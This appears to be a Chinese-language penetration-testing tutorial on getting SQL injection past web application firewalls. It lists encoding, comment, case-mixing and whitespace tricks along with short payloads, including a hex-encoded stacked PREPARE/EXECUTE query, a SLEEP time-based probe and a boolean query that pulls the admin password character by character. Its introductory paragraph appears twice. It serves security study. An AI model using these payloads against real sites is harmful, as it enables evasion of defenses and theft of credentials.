请勿截屏传播

SQL 注入绕过技术

SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf 加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。

SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf 加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。

1. 常见绕过方法分类

1.1 字符绕过

1.1.1 引号绕过

  • 单引号绕过:使用双引号、反引号或不使用引号
  • 转义字符绕过:利用\'\"等转义字符
  • 十六进制编码:将字符串转换为十六进制格式,如0x61646D696E代替admin

1.1.2 注释绕过

  • 单行注释:--#--+
  • 多行注释:/* */
  • 内联注释:/*! */(MySQL特有)

1.2 操作符绕过

1.2.1 逻辑操作符绕过

  • 使用ORAND的替代形式:||&&
  • 使用XOR操作符
  • 使用NOT操作符:!

1.2.2 比较操作符绕过

  • 使用LIKE代替=
  • 使用REGEXP代替=
  • 使用范围操作符:BETWEENIN

1.3 函数绕过

1.3.1 字符串函数

  • 使用CONCAT()CONCAT_WS()连接字符串
  • 使用SUBSTRING()MID()截取字符串
  • 使用CHAR()将ASCII码转换为字符

1.3.2 数学函数

  • 使用ROUND()FLOOR()CEIL()等函数
  • 使用RAND()生成随机数
  • 使用POW()SQRT()等数学运算

1.4 WAF绕过

1.4.1 大小写混淆

  • 混合使用大小写:UnIoNSeLeCt
  • 使用URL编码:%55%6E%49%4F%4E

1.4.2 特殊字符插入

  • 使用空格替代:%20%09%0A
  • 使用括号:SELECT(1)FROM(users)
  • 使用注释插入:SELECT/*comment*/1/*comment*/FROM/*comment*/users

1.4.3 分块注入

  • 将注入语句分成多个部分
  • 使用变量存储中间结果

1.5 盲注绕过

1.5.1 时间盲注

  • 使用SLEEP()BENCHMARK()函数
  • 使用条件语句:IF()CASE WHEN

1.5.2 布尔盲注

  • 使用LIKEREGEXP进行逐字符判断
  • 使用位运算:&|^

1.6 编码绕过

1.6.1 URL编码

  • 多次URL编码:%2527代替'
  • 使用双重编码:%2520代替空格

1.6.2 Unicode编码

  • 使用Unicode字符:%u0027代替'
  • 使用UTF-8编码:%E2%80%99代替'

1.6.3 Base64编码

  • 将注入语句Base64编码后注入
  • 结合其他编码方式使用

2. 具体绕过技术详解

2.1 空格绕过技术

  • 使用/**/代替空格
  • 使用()代替空格:SELECT(id)FROM(users)
  • 使用特殊字符:%09%0A%0B%0C%0D%20

2.2 注释绕过技术

  • MySQL:#----+/* */
  • PostgreSQL:--/* */
  • SQL Server:--/* */--

2.3 函数绕过技术

  • 字符串连接:CONCAT('a','b')'a'+'b'
  • 字符串截取:SUBSTRING('test',1,1)MID('test',1,1)
  • 字符串长度:LENGTH('test')CHAR_LENGTH('test')

2.4 WAF绕过技术

  • 大小写混合:uNiOn SeLeCt
  • 特殊字符插入:U/**/NION/**/S/**/ELECT
  • 分块注入:
    text
    ;SET @a=0x73656C656374202A2066726F6D207573657273;
    PREPARE stmt FROM @a;
    EXECUTE stmt;
    

2.5 盲注绕过技术

  • 时间盲注:
    text
    IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)
    
  • 布尔盲注:
    text
    SELECT 1 WHERE (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'
    
文件下载
堆叠注入和二次注入

评论区

评论加载中...